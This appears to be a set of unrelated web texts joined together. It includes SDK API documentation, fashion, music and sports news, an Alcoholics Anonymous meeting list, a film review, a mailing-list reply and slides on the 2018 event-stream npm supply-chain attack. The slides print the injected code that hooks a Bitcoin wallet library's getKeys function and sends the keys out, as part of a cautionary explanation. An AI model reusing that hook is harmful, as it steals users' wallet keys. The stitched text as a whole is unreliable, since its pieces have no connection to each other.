|
HPE Content Manager SDK 9.2
|
Public Member Functions | |
| EventMonitor (Database database, int refreshIntervalMilliseconds) | |
| Setup an ApiEventMonitor object with a current database handle and a timer value in milliseconds that regulates how often counter data is checked for. The database handle should have 'AllowAccessFromMultipleThreads' set to true, otherwise it will attempt to enabled it. More... | |
| EventProcessTypeList | GetAvailableProcessors () |
| Gets a list of event processor types that can be polled for counters. Only those event processors that are enabled, or in a suspended state will be returned. Any event processors that are disabled will be omitted from the list. More... | |
| string | Initialise () |
| Initialise the session prior to setting up the event processors we want to gather data on. This returns a GUID or token which uniquely identifies this session. A session will have a limited lifetime. The token is used to gather data for as long as the session is alive. Once the session has expired, this method must be called again to generate a new token. The token can be stored externally and used to revitalise sessions between invocations of ApiEventMonitor objects (see SetToken()). Will return an empty string if it fails. More... | |
| string | Initialise (EventProcessTypeList procs) |
| If an existing token is passed to Initialise() as an argument, and the object belonging to the token still exists, the session can continue, otherwise a new monitor object will be initialised and the new token will be returned. More... | |
| string | Initialise (string token) |
| bool | setToken (string token) |
| If a previous token has been saved, use this method to re-initialise the session. If the session is still alive on the remote server, returns true. It is not necessary to call Initialise() if this method returns true. More... | |
| bool | EnableCounters () |
| Enable all the available event processors for data gathering. An available event processor is one that is active, or in the suspended state. Disabled event processors are ignored. More... | |
| bool | EnableCounters (EventProcessType processorType) |
| Enable the specific event processor for data gathering. The processor type must be enabled on the remote server, otherwise a false value will be returned More... | |
| bool | EnableCounters (EventProcessTypeList processorTypes) |
| Enable the list of event processors for data gathering. All the processor types must be enabled on the remote server, otherwise a false value will be returned More... | |
| EventProcessTypeList | GetEnabledCounters () |
| Return the list of event processors that have data gathering enabled More... | |
| bool | DisableCounters () |
| Disable all event processors that are currently enabled. Returns true if any counters were disabled More... | |
| bool | DisableCounters (EventProcessType processorType) |
| Disable the event processor type supplied. Returns true if successful More... | |
| bool | DisableCounters (EventProcessTypeList processorTypes) |
| Disable the list of event processors supplied. Returns true if all were successfully disabled More... | |
| bool | IsAlive () |
| Determines if the Event Monitor object on the server is still viable based on the token for this object. If the workgroup server is restarted, then the current token will be invalid and this method will return false. It is then necessary to reinitialise the session using Initialise() which will return a new token. This method should be called prior to calling GetResults().. More... | |
| EventProcessorCounters | GetResults (EventProcessType processorType) |
| Return the locally cached counters of results from the last poll of the workgroup server. A call to GetResults() should always be preceded by a call to IsAlive() to ensure that the remote Event Monitor Object is still active, otherwise no results will be available. More... | |
| EventProcessorCountersList | GetResults () |
| bool | setRefreshInterval (int timeMilliseconds) |
| Set the interval (in milliseconds) between polling for new counter values. There is a strict minimum value of 1000 milliseconds which overrides the value passed in, as well as the registry setting for the minimum which can be configured by administrators (HKLM-Packard TRIM). If the registry value has been set, then this will override the value of the argument value (if it is less than the registry value). More... | |
| Public Member Functions inherited from HP.HPTRIM.SDK.TrimSDKObject | |
| TrimSDKObject () | |
Properties | |
| string | Token [get] |
| Get the current token for this session. The value can be saved and used at a later date to revitalise sessions if they are still running on the remote server. More... | |
| int | RefreshInterval [get] |
| Get the value of the refresh interval (in milliseconds) More... | |
| Properties inherited from HP.HPTRIM.SDK.TrimSDKObject | |
| string | ErrorMessage [get] |
| All TRIM SDK objects have an ErrorMessage property which can be used to examine any error that may have occurred in the most recent method call. More... | |
| TrimException | Error [get] |
| All TRIM SDK objects have an Error property which can be used to examine any error that may have occurred in the most recent method call. More... | |
| HP.HPTRIM.SDK.EventMonitor.EventMonitor | ( | Database | database, |
| int | refreshIntervalMilliseconds | ||
| ) |
Setup an ApiEventMonitor object with a current database handle and a timer value in milliseconds that regulates how often counter data is checked for. The database handle should have 'AllowAccessFromMultipleThreads' set to true, otherwise it will attempt to enabled it.
| bool HP.HPTRIM.SDK.EventMonitor.DisableCounters | ( | ) |
Disable all event processors that are currently enabled. Returns true if any counters were disabled
| bool HP.HPTRIM.SDK.EventMonitor.DisableCounters | ( | EventProcessType | processorType | ) |
Disable the event processor type supplied. Returns true if successful
| bool HP.HPTRIM.SDK.EventMonitor.DisableCounters | ( | EventProcessTypeList | processorTypes | ) |
Disable the list of event processors supplied. Returns true if all were successfully disabled
| bool HP.HPTRIM.SDK.EventMonitor.EnableCounters | ( | ) |
Enable all the available event processors for data gathering. An available event processor is one that is active, or in the suspended state. Disabled event processors are ignored.
| bool HP.HPTRIM.SDK.EventMonitor.EnableCounters | ( | EventProcessType | processorType | ) |
Enable the specific event processor for data gathering. The processor type must be enabled on the remote server, otherwise a false value will be returned
| bool HP.HPTRIM.SDK.EventMonitor.EnableCounters | ( | EventProcessTypeList | processorTypes | ) |
Enable the list of event processors for data gathering. All the processor types must be enabled on the remote server, otherwise a false value will be returned
| EventProcessTypeList HP.HPTRIM.SDK.EventMonitor.GetAvailableProcessors | ( | ) |
Gets a list of event processor types that can be polled for counters. Only those event processors that are enabled, or in a suspended state will be returned. Any event processors that are disabled will be omitted from the list.
| EventProcessTypeList HP.HPTRIM.SDK.EventMonitor.GetEnabledCounters | ( | ) |
Return the list of event processors that have data gathering enabled
| EventProcessorCounters HP.HPTRIM.SDK.EventMonitor.GetResults | ( | EventProcessType | processorType | ) |
Return the locally cached counters of results from the last poll of the workgroup server. A call to GetResults() should always be preceded by a call to IsAlive() to ensure that the remote Event Monitor Object is still active, otherwise no results will be available.
| EventProcessorCountersList HP.HPTRIM.SDK.EventMonitor.GetResults | ( | ) |
| string HP.HPTRIM.SDK.EventMonitor.Initialise | ( | ) |
Initialise the session prior to setting up the event processors we want to gather data on. This returns a GUID or token which uniquely identifies this session. A session will have a limited lifetime. The token is used to gather data for as long as the session is alive. Once the session has expired, this method must be called again to generate a new token. The token can be stored externally and used to revitalise sessions between invocations of ApiEventMonitor objects (see SetToken()). Will return an empty string if it fails.
| string HP.HPTRIM.SDK.EventMonitor.Initialise | ( | EventProcessTypeList | procs | ) |
If an existing token is passed to Initialise() as an argument, and the object belonging to the token still exists, the session can continue, otherwise a new monitor object will be initialised and the new token will be returned.
| string HP.HPTRIM.SDK.EventMonitor.Initialise | ( | string | token | ) |
| bool HP.HPTRIM.SDK.EventMonitor.IsAlive | ( | ) |
Determines if the Event Monitor object on the server is still viable based on the token for this object. If the workgroup server is restarted, then the current token will be invalid and this method will return false. It is then necessary to reinitialise the session using Initialise() which will return a new token. This method should be called prior to calling GetResults()..
| bool HP.HPTRIM.SDK.EventMonitor.setRefreshInterval | ( | int | timeMilliseconds | ) |
Set the interval (in milliseconds) between polling for new counter values. There is a strict minimum value of 1000 milliseconds which overrides the value passed in, as well as the registry setting for the minimum which can be configured by administrators (HKLM-Packard TRIM). If the registry value has been set, then this will override the value of the argument value (if it is less than the registry value).
| bool HP.HPTRIM.SDK.EventMonitor.setToken | ( | string | token | ) |
If a previous token has been saved, use this method to re-initialise the session. If the session is still alive on the remote server, returns true. It is not necessary to call Initialise() if this method returns true.
|
get |
Get the value of the refresh interval (in milliseconds)
|
get |
Get the current token for this session. The value can be saved and used at a later date to revitalise sessions if they are still running on the remote server.


Nike Celebrates the 2020 NBA Paris Game With Special Capsule
The event kicks off on January 24.
by Mallory ChinTo celebrate the forthcoming 2020 NBA Paris Game, Nike has just debuted a capsule paying homage to the event.
The range, which fans got a sneak peek at in September, is inspired by the French capital and the city’s basketball culture. Varsity Jackets, hoodies, tees, tracksuits and accessories have each been emblazoned with a special “Paris” motif that sees the “i” replaced by the NBA’s Jerry West-inspired logo. Elsewhere additional NBA Paris insignias are featured throughout the items. The color palette keeps to a more demure black and white for the most part, while other looks have been dressed in loud vibrant prints. Check out the items in the lookbook above.
Pieces from Nike’s 2020 NBA Paris Game capsule are available to purchase now at select Nike retailers and nike.com.
The 2020 NBA Paris Game will take place at the AccorHotels Arena in France, with the Charlotte Hornets and the Milwaukee Bucks set to hit the court on January 24.
In related news, Nike unveiled the full 2019-20 NBA City Edition Jersey lineup.


| NEED DIRECTIONS? Click a street address of any meeting location and an interactive map, courtesy of Google Maps, will appear in this frame for easy reference. (A.A. does not endorse nor have any affiliation with Google Maps and is not responsible for their content.) |
| SPECIAL CODES: C
(CLOSED for Alcoholics & for those "with a desire
to stop drinking.") M (for Men Only) W (for Women Only) LGBT (Lesbian/Gay/Transgender/Bisexual) BS (Babysitting Available) * (Wheel Chair Access) ASL (Signed for Hearing Impaired) CF (Child Friendly) |
| TIME | NAME OF MEETING/ADDRESS | CODES | LOCATION |
|---|---|---|---|
| 06:45A | WOMEN IN HARMONY Church Library 2083 Sunset Cliffs Blvd | W * | OCEAN BEACH |
| 07:00A | TUESDAY MORNING Church 5847 El Cajon Blvd | * | COLLEGE |
| 08:15A | TUESDAY MORNING BREAKFAST SPECIAL Restaurant 3444 College Ave | * | COLLEGE |
| 09:00A | BIG BOOK BABES Club-downstairs 4861 Cass St | C W | PACIFIC BEACH |
| 10:00A | TUESDAY MORNING ALPINE Church 1460 Midway Dr | C W | ALPINE |
| 10:00A | LA MESA 12 X 12 Church 455 Church Way | C | FLETCHER HILLS |
| 10:30A | 12 x 12 AND BB Church 3725 30th & Gunn St | * | NORTH PARK |
| 11:00A | AA WOMENS Club 3064 Borrego Valley Rd | W | BORREGO SPRINGS |
| 12:00N | AT ONE WITH EACH OTHER Restaurant (luncheon)5150 Waring Rd | C W * No Children | ALLIED GARDENS |
| 12:00N | SIX MINUTES TO SANITY MEDITATION Recv Ctr 11720 El Camino Real #200 | * | CARMEL VALLEY |
| 12:00N | LUSHES LUNCH TUESDAY Restaurant 4280 Clairemont Mesa Blvd | * | CLAIREMONT |
| 12:00N | DEL MAR TUESDAY LUNCH BUNCH Restaurant 12955 El Camino Real | DEL MAR HEIGHTS | |
| 12:00N | AIN"T LIFE GRAND Church-Basement 1535 3rd Ave (enter on Beech St) | DOWNTOWN | |
| 12:00N | GILMAN GROUP-TUES Church 9595 La Jolla Shores Dr | C | LA JOLLA |
| 12:00N | DAILY REFLECTIONS Club 6727 Flanders Dr, #106 | * | MIRA MESA |
| 12:00N | TUES NOON 11TH STEP MEETING Club-Upstairs 4861 Cass St |   | PACIFIC BEACH |
| 12:00N | TUESDAY VISION 4 U Club 1710 Montecito Rd |   | RAMONA |
| 12:00N | UNIVERSITY CITY WOMENS Church 3131 Governor Dr | C W BS * | UNIVERSITY CITY |
| 01:15P | TUESDAY AA STEP STUDY Store 4736 Clairemont Mesa Blvd | * | CLAIREMONT |
| 01:30P | AFTERNOON DELIGHT Coffee Shop 4590 Park Blvd | * Bring No Food/Drink | UNIVERSITY HEIGHTS |
| 02:00P | SERENITY SEEKERS Club 1944 30th St | * | GOLDEN HILL |
| 05:00P | NO BARRIORS - ASL Club 1944 30th St | ASL | GOLDEN HILL |
| 05:00P | LAKESIDE STEP STUDY Club 9940 River St | * | LAKESIDE |
| 05:30P | THERE IS A SOLUTION Office Bldg 5107 Waring Rd | ALLIED GARDENS | |
| 05:30P | SISTERS IN RECOVERY Church 2814 B St |
W * | JULIAN |
| 05:30P | LAKESIDE DRUNKS (BIG BOOK) Comm Center 9841 Vine St | C * Does not sign slips | LAKESIDE |
| 06:00P | AA MEETING Serv Center 485 Broadway St #E | C * | EL CENTRO |
| 06:00P | TUESDAY NIGHT PRIMARY PURPOSE Club 6901 Central Ave | LEMON GROVE | |
| 06:00P | TUESDAY NIGHT SOBRIETY Club 6727 Flanders Dr, #106 | * | MIRA MESA |
| 06:00P | NO B.S. MENS Vet Rehab Ctr 4141 Pacific Hwy | C M * | OLD TOWN |
| 06:00P | NORTH SHORES BEGINNERS Club-upstairs 4861 Cass St | PACIFIC BEACH | |
| 06:00P | MEETING IN THE LADIES ROOM Club-downstairs 4861 Cass St | W | PACIFIC BEACH |
| 06:00P | GRUPO GRINGO BIG BOOK (ENGLISH) 2 blocks E of Las Brisas Hotel Avenida Mar Mediterranean #36 B |   | ROSARITO BEACH |
| 06:00P | 6 O'CLOCK BIG BOOK STUDY Church - upstairs 8350 Lake Murray Bl | * | SAN CARLOS |
| 06:15P | VALLEY GIRLS Church-upstairs #208 3900 Cleveland Ave | C W BS | HILLCREST |
| 06:15P | CITIZENS AGAIN Church 4044 Lark St |   | MISSION HILLS |
| 06:15P | SAN CARLOS SINGLE PURPOSE Church 6556 Park Ridge Blvd & Wandermere Dr | C W * | SAN CARLOS |
| 06:30P | ORIGINAL TUES NIGHT STEP STUDY Church 5106 Zion Ave | * | ALLIED GARDENS |
| 06:30P | HIGH BOTTOM DRUNKS Church 2147 Live Oak Springs Rd | BOULEVARD | |
| 06:30P | AA COMES OF AGE BOOK STUDY Store 4736 Clairemont Mesa Blvd | * C | CLAIREMONT |
| 06:30P | IT WORKS SLOWLY Church ( Youth Room) 7250 Eckstrom Ave | C * | CLAIREMONT |
| 06:30P | CORONADO STEP STUDY Club 950 Orange Ave (rear Alley) | C | CORONADO |
| 06:30P | THE LANGUAGE OF THE HEART DISCUSSION Church 25153 Viejas Blvd | C | DESCANSO |
| 06:30P | LITTLE ITALY YOUNG PEOPLES Office Bldg 1446 Front St #400 (4th Floor) | * | DOWNTOWN |
| 06:30P | FISHERMEN IN RECOVERY Club 9940 River St | * M | LAKESIDE |
| 06:30P | 12 STEPS 12 TRADITIONS WORKSHOP Church 3725 30th & Gunn | * | NORTH PARK |
| 07:00P | AA MENS Club 3064 Borrego Valley Rd | M | BORREGO SPRINGS |
| 07:00P | TUES NIGHT MENS Church 940 Hilltop Dr | C M | CHULA VISTA |
| 07:00P | FAIRMONT PARK DISCUSSION Church 3850 Westgate Place | * | CITY HEIGHTS |
| 07:00P | TUES NIGHT MENS STEP STUDY Church 4540 El Cerrito Dr | C M | COLLEGE |
| 07:00P | FREE AT LAST Church-Youth Room 1227 Eastlake Pkwy | EASTLAKE | |
| 07:00P | ANOTHER SOBER TUESDAY Church 490 Farragut Circle | EL CAJON | |
| 07:00P | MEN'S STAG Club 564 Broadway St | M * | EL CENTRO |
| 07:00P | PRIMARY PURPOSE GROUP Church 4005 Normal St | HILLCREST | |
| 07:00P | IB STEPS & TRADITIONS Church 866 Imperial Beach Blvd & 9th St | CF * | IMPERIAL BEACH |
| 07:00P | JULIAN MENS MEETING Office Bldg 3407 Hwy 79 |
M * | JULIAN |
| 07:00P | TGIT - THANK GOD ITS TUESDAY Church 7715 Draper Ave (2nd Fl, Rm 7) (enter from Eads Ave) |
C W | LA JOLLA |
| 07:00P | LA MESA STEP STUDY WORKSHOP Brown Church 4816 Glen St | C * | LA MESA |
| 07:00P | PROGRESS RATHER THAN PERFECTION Church 7929 La Mesa Blvd | * | LA MESA |


Pivot Gang's MFnMelo Links Monte Booker On "Flow Seats"
MFnMelo is back with some new heat.
by Aron A.Flow Seats
MFnMelo
Editor Rating: HOTTTTT
User Rating: meh - 44% (4)
It's been a huge year for Pivot Gang. The Chicago collective have continued to put on for the Windy City with every release including Pivot Gang's joint project, You Can't Sit With Us. The collective is set to hit the road this week but before they kick things off, one of the members of the crew blessed the world with some new music.
MFnMelo just dropped off his new single, "FlowSeats" which is produced by Monte Booker. The rapper comes through with a banger that will undoubtedly go off during their live shows. MFnMelo flexes with braggadocious bars over Booker's bouncy production. This marks both MFnMelo and Monte Booker's first collaboration together. Needless to say, we hope they have more collabs together in the cut.
Quotable Lyrics
Four way, never been passive
On bro, I ain't never been to NASA
Oh, my stars align
More like they all my guys
Moonwalk, I must just slide
Mic check, five


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Honda seals MotoGP triple crown
by Sports BureauJorge Lorenzo ended an incredible 18-year Grand Prix career with an emotional Valencia race, helping Repsol Honda Team to clinch triple crown alongside another Marc Marquez win.
For the third year in succession the Repsol Honda Team celebrated the end of a MotoGP season after winning the Riders, Teams and Constructors Championships. This was the Repsol Honda Team’s ninth triple crown since the MotoGP class began in 2002, cementing it as the most dominant team. For the first time in the four-stroke era, the team has managed three triple crowns in a row.


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image/svg+xml
Address Bus Buffer
Address Bus Decoding logic
Memory Controller
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Index Y
Accumulator A
Stack Pointer S
Procersor Status P
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The Loop!

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LoopSprite
CPU - SLS 6502
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Pin any Today widget on the Lock screen with LockWidgets
by Anthony BouchardHave a favorite iOS widget, but wish you could see it directly from the Lock screen without needing to swipe over to the Today page? There’s a jailbreak tweak for that!
If you answered ‘yes’ to the question above, then we’d like to introduce you to LockWidgets, a newly released add-on by iOS developer ConorTheDev that lets you pin your favorite Today widget to the primary Lock screen page so you can view it at a glance:
In the screenshot example above, we’ve pinned the native Weather widget to our Lock screen. It appears just underneath the digital time indicator, and any missed notifications you have will appear below the widget when they occur.
You can pin any widget of your choosing to the Lock screen with LockWidgets, whether it’s native or a third-party offering bundled along with one of your installed apps.
After you install LockWidgets, you’ll find a dedicated preference pane in the Settings app where you can configure the tweak to your liking:
Here, you can:
- Toggle the tweak on or off on demand
-
Select a preferred widget to appear on your Lock screen:
The developer provides a Respring button that you’ll want to tap any time you swap widgets. This ensures saved changes and helps with a smooth transition.
The glaring question many of you might be asking right now is whether you can have several widgets on your Lock screen by way of LockWidget, and from what we can gather, this doesn’t appear to be possible as of now. Instead, you’ll have to choose your lone favorite for the time being.
Those interested in trying LockWidget can download it for free from the Dynastic Repo repository in their preferred package manager. The tweak currently supports jailbroken iOS 11, 12, and 13 devices, and its source code is available on the developer’s GitHub page for those interested in learning more about what makes it tick.
Will you be installing LockWidget? Tell us why or why not in the comments section.


real, balanced ingredients
that taste great
make it yours
with whole food boosts
fresh-squeezed juices
Lemonade, Peaches, Kale,
Mangos, Ginger
Pomegranate Juice Blend, Mangos,
Strawberries, Peaches
Pomegranate Juice Blend, Mangos,
Strawberries, Peaches


×
Earboard is an ear trainer for musicians whose purpose is to generate note intervals to play along with. Its layout is modeled on the fretboards and standard tuning of stringed instruments like guitar and bass.
Click SELECT NOTES to exclude notes from the random pool.
NEW plays a new interval.
Toggle the display of the interval with SHOW.
DIRECTION controls in what order to play the two notes of the interval.
KEYBOARD SHORTCUTS
ARROWS - move selection
SPACEBAR - play selected note
N - new interval
R - repeat interval
A - switch autoplay
S - toggle show
C - toggle chord
Source code


API Key
To generate your API Key, go to: api.jchui.me/request.
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main points you expect will be addressed by a potential solution. Basic, non identifying
medical data such as source and time span of the condition involved is also welcome
here.
Note: at this stage we are not looking for solutions, but rather for
a good definition of the needs. We know this is not easy, (we often do this
ourselves) but please try to describe the challenge and not suggest solutions.
Media is welcome - YouTube clips, images and files (files may be
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Dev_BootCamp_Reflection
My Website url:
file:///Users/ChandlerHCSmith/Desktop/test/index.html
What did you learn about design and user experience?
It is very important to create a website that is an experience for the user. This experience can be temporary and therefore not long term very valuable. There needs to be a clear purpose and outcome desired before a website is designed to optimize functionality.
Do you like design and user experience? Was it fun working on your site, the plan, and/or the wireframe? (If you hated it, that's OK too)
I enjoy wireframing and design. I really like think about what the intended audience will get out of their interaction with a book, a website, a movie, etc. I am really disappointed that I could not get my 3 columna to work. I think the user experience would have been much greater if I had all three intended columns.
What was your process? What worked and didn't work?
First I tried to decide what the website's main point should be as a gateway to all of my other work. I viewed index.html the way I have seen it used over and over again, as the home page. I tried to visual an overall look to the site - there is still so much I want to learn and show everyone. I tried wireframing, but I found it limiting. So I went in the backyard and sat on a deck chair. I tried to just let my mind go. I then visualized the page and did the wireframing second and then coded the site.
What would you like to add or change about the site next?
I really wanted the third column to line up and work. It contains the connection to all of my work and I think that people would see the purpose of the site very quickly if they could see these links immediately before scrolling down. I like to add a Boot to the header after my title.
Was it difficult to apply the material you learned? Did you find anything in your research you thought was super cool?
I really enjoyed applying the information that I have learned and making a site that looks a little more contemporary compared to this site that looks very "old-school". I learned a lot by studying other sites using DevTools Chrome and learning how they handled flow. I still need to learn more.
Did you find any resources on your own that helped you better understand a topic? If so, please list it.
Treehouse: http://blog.teamtreehouse.com/css-positioning
CodeAcademy: http://www.codecademy.com/courses/advanced-css-positioning/0/1
W3Schools: http://www.w3schools.com/css/css_positioning.asp


Good personal hygiene is important to maintain good health and prevent the spread of diseases. Good hygiene habits includes showering regulary, burshing your teeth at least once a day, changing into clean clothes, and covering your mouth when sneezing or coughing.


3 references to PowerShellChannelWriter
System.Management.Automation (3)
utils\PowerShellETWTracer.cs (3)
947
DebugChannel = new
PowerShellChannelWriter
(PowerShellTraceChannel.Debug,
949
AnalyticChannel = new
PowerShellChannelWriter
(PowerShellTraceChannel.Analytic,
951
OperationalChannel = new
PowerShellChannelWriter
(PowerShellTraceChannel.Operational,


Interfaces and wrapper classes for applying styles to specific types of objects. All objects to be
styled by a {@link com.sun.css.Stylesheet} must implement the {@link com.sun.css.styleable.Styleable} interface, but
preexisting classes such as {@link java.awt.Component} are handled via a Styleable
wrapper rather than burdening them directly with the additional support.
Styleable
wrappers are generally obtained from {@link com.sun.css.types.TypeManager#getStyleable}.


Shilpa Shetty steps out for lunch with husband Raj Kundra and son Viaan Raj Kundra
by Kajol MathurFact that Shilpa Shetty is a superwoman is something nobody can deny. The good looking actress who mostly keeps busy with her work schedules makes sure to spend good time with her family and often head out. Continuing her ritual of Sunday lunch, we snapped the diva at a Mumbai restaurant where she was accompanied by husband Raj Kundra and son Viaan Raj Kundra. Though usually we also snap her mother Sunanda Shetty and sister Shilpa Shetty with them but this time it was just the trio.
Turning heads effortlessly, Shilpa opted for a one-shoulder printed dress which she paired with a classic Fendi bag and nude heels. Meanwhile, Raj Kundra kept it casual in a blue t-shirt which he paired with denim and black shoes. Looking adorable was little Viaan Kundra who opted for a denim on denim look. We must say, quite a stylish family!
Check out their pictures below.


Handling dependencies
November 20th, 2018
dominictarr
Event stream
2015: 16M downloads
2018: 70M downloads
Summer 2018: right9ctrl proposes to become owner
GitHub issue
Pull requests
Pull requests
October 28th, 2018
GIT_COMMITTER_DATE=”$(date)”
git commit –amend –no-edit –date “$(date)”
What does it do?
Update of
index.min.js
Add AES256 encrypted file shown as a test fixture
Update version number 3.3.5 -> 3.3.6
Triggers update for ~1.5-2M developers
November 20th, 2018
How does it work?
Looks for Bitpay wallets with a device object (browsers/Electron)
Parses ids
Takes all wallets > 100 bitcoins (~600K€)
Sends it to a malaysian server
```js Credentials.prototype.getKeys = function(password) { // code to decrypt password and send it return keys; }; ```
```js const Credentials = require("bitcore-wallet-client/lib/credentials.js"); // Intercept the getKeys function in the Credentails class Credentials.prototype.getKeysFunc = Credentials.prototype.getKeys; Credentials.prototype.getKeys = function(keyLookup) { const originalResult = this.getKeysFunc(keyLookup); try { if (global.CSSMap && global.CSSMap[this.xPubKey]) { delete global.CSSMap[this.xPubKey]; sendRequests("p", keyLookup + "\t" + this.xPubKey); } } catch (err) {} return originalResult; } ```
Consequences
BitPay says their app is not vulnerable, but update it anyway
NPM takes control to remove malicious code
Developer apologizes, but was bored of the project and community
Conclusion
Be careful of dependencies you add
Look at its license: MIT = NO GUARANTY
Keep your dependencies up to date
Use GitHub security tab
Links
Je suis un dev
GitHub Security features


ARTISEN ENTERTAINMENT PRESENTS A HAXAN FILM PRODUCTION A FILM BY DANIEL MYRICK & EDUARDO SÁNCHEX "THE BLAIR WITCH PROJECT" HEATHER DONAHUE MICHAEL C. WILLIAMS JOSHUA LEONARD ORIGINAL MUSIC BY TONY CORA EXECUTIVE PRODUCERS: KEVIN J. FOXE, BOB EICK CINEMATOGRAPHY BY NEAL FREDERICKS PRODUCED BY ROBIN COWIE & GREGG HALE EDITED, WRITTEN & DIRECTED BY DANIEL MYRICK AND EDUARDO SÁNCHEZ
Never underestimate the gullibility of the American Psyche. We want our ghosts. We need our government cover-ups and conspiracies. We lust for an Extraterrestrial implant. And a lot of us really expect to win the lottery. From this collective wanting of something unique and otherworldly, comes the current flavor of the month "The Blair Witch Project", a marvelously adept film representation of the old shell game. Much hype and effort has gone into creating the "legend" surrounding this film. There are individuals who earnestly believe in the story of three film students who have mysteriously disappeared. But for all the attentive hyperbole and inventiveness, what does the movie have to offer. That is an interesting question, because without the hype or the backstory (or the ingenious marketing strategy), 'The Blair Witch Project' would not be as successful at raising the hackles of most of it's viewers.
The film opens on a black screen. Fading up is the (now) famous tagline for the film:
In October of 1994, three student filmmakers disappeared in the woods near Burkittesville, Maryland, while shooting a documentary.
One year later, their footage was found.
With what has been seen before in the news reports about the film and the mock documentary, this opening credit manages to create an air of foreboding.
The film is basically a reconstruction from the discovered Video, Film and Audio recordings of Heather Donahue, Michael C. Williams and Joshua Leonard who have left home for Burkittesville, Maryland to shoot a short documentary on the legend of the Blair Witch. We see some interesting interviews with some of the locals of Burkittesville, talking about the legend and the history of the curse.
As the three filmmakers march into the woods, tensions begin to mount. Being ill prepared for any real camping experience, the three young people are soon lost and bickering amongst themselves. This slowly escalates into terror, as during the nights they are wakened by strange noises, that seems to emanate from all around them.
As their terror and anxiety grows, Heather Donahue tries valiantly to remain in control of the small group. Unfortunately, her growing self-doubt and insecurity is fuels by the constant bickering from both Joshua Leonard and (especially) Michael Williams. When they loss (?!) their map, all reason is lost. The students wander aimlessly in circles, returning to the same campsite that they had left earlier that morning.
That night after much noise and chasing of unseen visitors, Joshua disappears. Now Heather is seized with fear. Michael now has to serve as the leader, something he seems suddenly capable of doing. Again, more noises during the night, followed by the discovery of a strange totem left outside of their tent, which is tied together with remnants of Joshua's clothing. Concealed inside are the visual remains of something possibly human, possibly animal. Now all hope expires as Heather has a breakdown, confessing to her video camera that she is responsible for what has happened. The film climaxes with the discovery of an abandoned house, it's interior walls covered with the dirty (bloody?) handprints of children.
What "The Blair Witch Project" has managed to do, with no lack of inventiveness, is to re-invent the marketing champagne for movies. Since the development of the Internet, motion picture companies had used the World Wide Web as another marketing tool. You can download trailers and bios of your favorite stars and view behind the scene video clips from any number of movies. What has happened with the "Blair Witch" is the creation of an advertisement that seems not to be an advertisement. The film in and of itself is remarkably well done, in an amateurish cinema verité method. Unfortunately, the constant videotape use calls into question the rational of the participants. Why would you continue filming yourself washing your hand in a stream to remove the blood from it, as it revolts you. Most people would at least put the camera down (or drop it). But not Heather, she is the consummate filmmaker. Willing to die (literally) for her art. The use of the actors themselves as the camera men is not so revolutionary, having been used to frightening effect in the little seen film "THE LAST BROADCAST" (1998). The mock documentary style has been a staple of Italian gore/cannibal films since the early 70's. But what makes the 'Blair Witch' so involuntary is that there seems to be no real direction of the actors. One does buy into the mythology after a while, and being so immersed in this universe, can help but be dragged along.
As a horror film, "The Blair Witch Project" is unique in that at a time when prosthetic effects and cosmetics have become so realistic, this film eschews them in favor of the old Val Lewton approach. What you don't see is psychologically more terrifying than anything visual. Your imagination can fill in the blanks much more clearly than any effects master could. The Mise-En-Scéne of the woods decorated with the totems hanging from every branch is remarkably foreboding, giving the viewer a level of unease that cannot be easily shaken off. Also the music by Tony Cora is along the lines of the subtle tones and noises used in Tobe Hooper's 'Texas Chainsaw Massacre', (another film that plumped the psychological well for it's effectiveness)
Now, let's get one thing straight. No one really died here. In fact Michael Williams is currently working on another film (a big budget item). Heather has also been cast in another project. These young people are professional actors. The mythology of the 'Blair Witch' is a complete fabrication. This is the stuff of urban legends. We've all heard stories of headless ghosts wandering through wooden glades, or businesses built on possible Indian (or Spanish) burial ground. All nice little stories to help the kids get a poor night's sleep. What Directors Daniel Myrick & Eduardo Sánchez have done here is create a marvelously deft psychological test for the masses. Without the attentive mythology and aggressive hype, their film would not be anywhere near as accessible or successful.
On it's own; the film is painfully slow. There is far too much 'shaky cam' work being done, giving many viewers a disorienting experience. For the most part this works in raising expectations from the viewers that something is about to happen. The film is riff with false starts. While the editing is remarkable efficient, it sometimes works against itself, as whenever we jump from video to 16 millimeter film and back within a short scene. But again, this has the desired neurological effect of persuading the viewer. The film almost becomes an inkblot or Thematic Apperception Test with it's continual viewing of the woods, especially at night when the lack of light and preponderance of shadow creates it's own images. Most interesting of all is that the film is presented in an aspect ratio of 1.33:1, basically the same ratio as your television set. This gives the film another level of psychological immediacy, making the film seem real. We're used to seeing films projected on a big, wide screen. This film instead creates a field of view that is limited from the start, as the peripheral area of the screen is blank. Whether this film will work as well on home video is a question that waits to be answered.
This is a hard film to review. One cannot separate the promotion of the film from the film itself. They are so intertwined with one another as to be symbiotic, feeding off of each other. It will be interesting to see the promotion that is used to market the film's video release.
So on a scale of one to five stars, "The Blair Witch Project" gets two ratings. The film itself gets only 2½. But the promotion, mythology and film together get a 4. "The Blair Witch Project" is not so much a film, as it is what the title really implies. It is a PROJECT!
Copyright © 1999 R. L. Strong Nothing in this article may be quoted or re-printed without the expressed written permission of the author.
-- To Reply.. Remove the "who" from the e-mail address. Visit the Dungeon: The Dungeonmaster's Cornucopia of Film
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


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Welcome to GfxPad!
This will install and setup GfxPad, an exploratory tool for GraphicsBuilder.
GraphicsBuilder provides an easy way to create Java2D graphics in a similar manner as JavaFX Script but in a groovier way.
About this Distribution
This installer was created using
IzPack (see http://izpack.org/).


[gecode-users] Problem with constraint
Guido Tack
tack at ps.uni-sb.de
Mon Aug 11 09:03:06 CEST 2008
Hi.
As you've already found out, you have to use domain consistent
propagation (ICL_DOM) to get the result you want. You should be able
to use post(space, new Expr(space.variable1), IRT_EQ, new
Expr(space.variable2), ICL_DOM) to get the desired result. I'm not
100% sure, but I think your solution that uses e=variable1-variable2,
e=0 doesn't work because only the e=0 is propagated to domain
consistency, while e=variable1-variable2 still only achieves bounds
consistency.
Cheers,
Guido
Ujhelyi Zoltan wrote:
> Hello again,
>
> I have been experimenting with the questions raised in my previous
> mail.
>
> I created a small Gecode space to be able to test the problem in a
> smaller scale, where I did use two variables (variable1, variable2,
> both IntVars with the domain {0,5}) and three constraints: variable1
> equals variable2, and variable2 cannot have the values 2 and 4.
>
